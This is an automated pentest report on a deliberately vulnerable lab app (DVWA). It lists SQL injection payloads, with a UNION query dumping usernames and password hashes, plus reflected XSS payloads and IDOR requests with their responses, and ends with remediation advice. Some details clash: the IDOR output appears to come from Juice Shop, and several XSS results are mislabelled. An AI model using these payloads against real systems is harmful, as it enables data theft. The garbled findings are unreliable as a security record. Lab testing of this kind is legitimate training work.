

Automated Web Pentest Report

Test Environment: DVWA

Server OS: Kali GNU/Linux Rolling

Python Version: 3.13.3

Scan Date: 2025-07-17 06:21:55 UTC

SQLmap Version: 1.9.4#stable

Target App: DVWA (Damn Vulnerable Web Application)

Version: 1.10 Development

Security Level: low

Web Server: Apache 2.4

Database: MySQL 8

Language: PHP 8.1

Tools Used: Python requests, BeautifulSoup4, SQLmap, Burp Suite (manual verify)

Methodology & Tools

- Automated Python script loads payloads from file, sends HTTP requests, extracts evidence with BeautifulSoup4.
- Auto-classifies results, exports as PDF/Markdown/JSON.
- SQLmap integration for advanced SQLi detection.
- Ready for CI/CD: can run in GitHub Actions/Jenkins.

SQL Injection Test Cases

#	Payload	Status	Severity
1	' OR '1'='1	Success	Critical
2	' OR 1=1 #	Success	Critical
3	' union select user, password from users#	Success	Critical
4	addadasddad	Fail	Low
5	' Or 3 = 3 #	Success	Critical

SQL Injection Evidence Details

Severity: Critical

[1] Payload: ' OR '1'='1

ID: ' OR '1'='1

First name: admin

Surname: admin

ID: ' OR '1'='1

First name: Gordon

Surname: Brown

ID: ' OR '1'='1

First name: Hack

Surname: Me

ID: ' OR '1'='1

First name: Pablo

Surname: Picasso

ID: ' OR '1'='1

First name: Bob

Surname: Smith

Severity: Critical

[2] Payload: ' OR 1=1 #

ID: ' OR 1=1 #

First name: admin

Surname: admin

ID: ' OR 1=1 #

First name: Gordon

Surname: Brown

ID: ' OR 1=1 #

First name: Hack

Surname: Me

ID: ' OR 1=1 #

First name: Pablo

Surname: Picasso

ID: ' OR 1=1 #

First name: Bob

Surname: Smith

Severity: Critical

[3] Payload: ' union select user, password from users#

ID: ' union select user, password from users#

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user, password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user, password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user, password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user, password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Severity: Low

[4] Payload: addadasddad

User ID:

Severity: Critical

[5] Payload: ' Or 3 = 3

ID: ' Or 3 = 3 #
First name: admin
Surname: admin

ID: ' Or 3 = 3 #
First name: Gordon
Surname: Brown

ID: ' Or 3 = 3 #
First name: Hack
Surname: Me

ID: ' Or 3 = 3 #
First name: Pablo
Surname: Picasso

ID: ' Or 3 = 3 #
First name: Bob
Surname: Smith

XSS Test Cases

#	Payload	Status	Severity
1	<script>alert('XSS')</script>	Success	High
2	">	Success	High
3	<svg/onload=alert(1)>	Success	High
4	<body onload=alert('xss')>	Success	High
5	"><svg onload=alert('xss')>	Success	High
6	<script>alert('XSS')</script>	Success	High
7	">	Success	High
8	<svg/onload=alert(1)>	Success	High
9	<body onload=alert('xss')>	Success	High
10	"><svg onload=alert('xss')>	Success	High

XSS Evidence Details

Severity: High

[1] Payload: <script>alert('XSS')</script>

Payload reflected: <script>alert('XSS')</script>

Detected <script> tag in response.

Detected alert() in response.

Severity: High

[2] Payload: ">

Payload reflected: ">

Detected <script> tag in response.

Detected alert() in response.

Detected image/event XSS payload.

Severity: High

[3] Payload: <svg/onload=alert(1)>

Payload reflected: <svg/onload=alert(1)>

Detected <script> tag in response.

Detected alert() in response.

Severity: High

[4] Payload: <body onload=alert('xss')>

Payload reflected: <body onload=alert('xss')>

Detected <script> tag in response.

Detected alert() in response.

Severity: High

[5] Payload: "><svg onload=alert('xss')>

Payload reflected: "><svg onload=alert('xss')>

Detected <script> tag in response.

Detected alert() in response.

Severity: High

[6] Payload: <script>alert('XSS')</script>

Detected <script> tag in response.

Severity: High

[7] Payload: ">

Detected <script> tag in response.

Severity: High

[8] Payload: <svg/onload=alert(1)>

Detected <script> tag in response.

Severity: High

[9] Payload: <body onload=alert('xss')>

Detected <script> tag in response.

Severity: High

[10] Payload: "><svg onload=alert('xss')>

Detected <script> tag in response.

IDOR Test Cases

#	Payload	Status	Severity
1	1	Success	High
2	2	Success	High

3	3	Success	High
4	4	Success	High
5	5	Success	High
6	6	Fail	Low
7	7	Fail	Low
8	8	Fail	Low
9	9	Fail	Low
10	10	Fail	Low

IDOR Evidence Details

Severity: High

[1] Payload: 1

Status: 200

Response:

{"status": "success", "data": {"id": 1, "coupon": null, "UserId": 1, "createdAt": "2025-07-17T04:01:26.697Z", "updatedAt": "2025-07-17T04:01:26.697Z", "Products": [{"id": 1, "name": "Apple Juice (1000ml)", "description": "The all-time classic.", "price": 1.99, "deluxePrice": 0.99, "image": "apple_juice.jpg", "createdAt": "202

Severity: High

[2] Payload: 2

Status: 200

Response:

{"status": "success", "data": {"id": 2, "coupon": null, "UserId": 2, "createdAt": "2025-07-17T04:01:26.697Z", "updatedAt": "2025-07-17T04:01:26.697Z", "Products": [{"id": 4, "name": "Raspberry Juice (1000ml)", "description": "Made from blended Raspberry Pi, water and sugar.", "price": 4.99, "deluxePrice": 4.99, "image": "ra

Severity: High

[3] Payload: 3

Status: 200

Response:

{"status": "success", "data": {"id": 3, "coupon": null, "UserId": 3, "createdAt": "2025-07-17T04:01:26.697Z", "updatedAt": "2025-07-17T04:01:26.697Z", "Products": [{"id": 4, "name": "Raspberry Juice (1000ml)", "description": "Made from blended Raspberry Pi, water and sugar.", "price": 4.99, "deluxePrice": 4.99, "image": "ra

Severity: High

[4] Payload: 4

Status: 200

Response:

{"status":"success","data":{"id":4,"coupon":null,"UserId":11,"createdAt":"2025-07-17T04:01:26.697Z","updatedAt":"2025-07-17T04:01:26.697Z","Products":[{"id":4,"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"deluxePrice":4.99,"image":"r

Severity: High

[5] Payload: 5

Status: 200

Response:

{"status":"success","data":{"id":5,"coupon":null,"UserId":16,"createdAt":"2025-07-17T04:01:26.697Z","updatedAt":"2025-07-17T04:01:26.697Z","Products":[{"id":3,"name":"Eggfruit Juice (500ml)","description":"Now with even more exotic flavour.","price":8.99,"deluxePrice":8.99,"image":"eggfruit_juice.jp

Severity: Low

[6] Payload: 6

Status: 200

Response: {"status":"success","data":{}}

Severity: Low

[7] Payload: 7

Status: 200

Response: {"status":"success","data":{}}

Severity: Low

[8] Payload: 8

Status: 200

Response: {"status":"success","data":{}}

Severity: Low

[9] Payload: 9

Status: 200

Response: {"status":"success","data":{}}

Severity: Low

[10] Payload: 10

Status: 200

Response: {"status":"success","data":{}}

Executive Summary

Total vulnerabilities tested: 25

Successful exploits: 19

Risk Level: Critical

Recommendations

- Use prepared statements (parameterized queries) for all database access.
 - Enable a Web Application Firewall (e.g., ModSecurity + CRS) in production.
 - Build a code review checklist for input validation and output encoding.
 - Patch all web apps and dependencies regularly.
 - Integrate automated security testing (e.g., SonarQube, OWASP ZAP) into CI/CD.
 - Regularly update payload signatures and review recent CVE advisories.
-

References

OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection

PayloadAllTheThings SQLi: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>

DVWA GitHub: <https://github.com/digininja/DVWA>

Juice Shop GitHub: <https://github.com/juice-shop/juice-shop>

SQLmap: <http://sqlmap.org/>

OWASP Testing Guide: <https://owasp.org/www-project-web-security-testing-guide/>
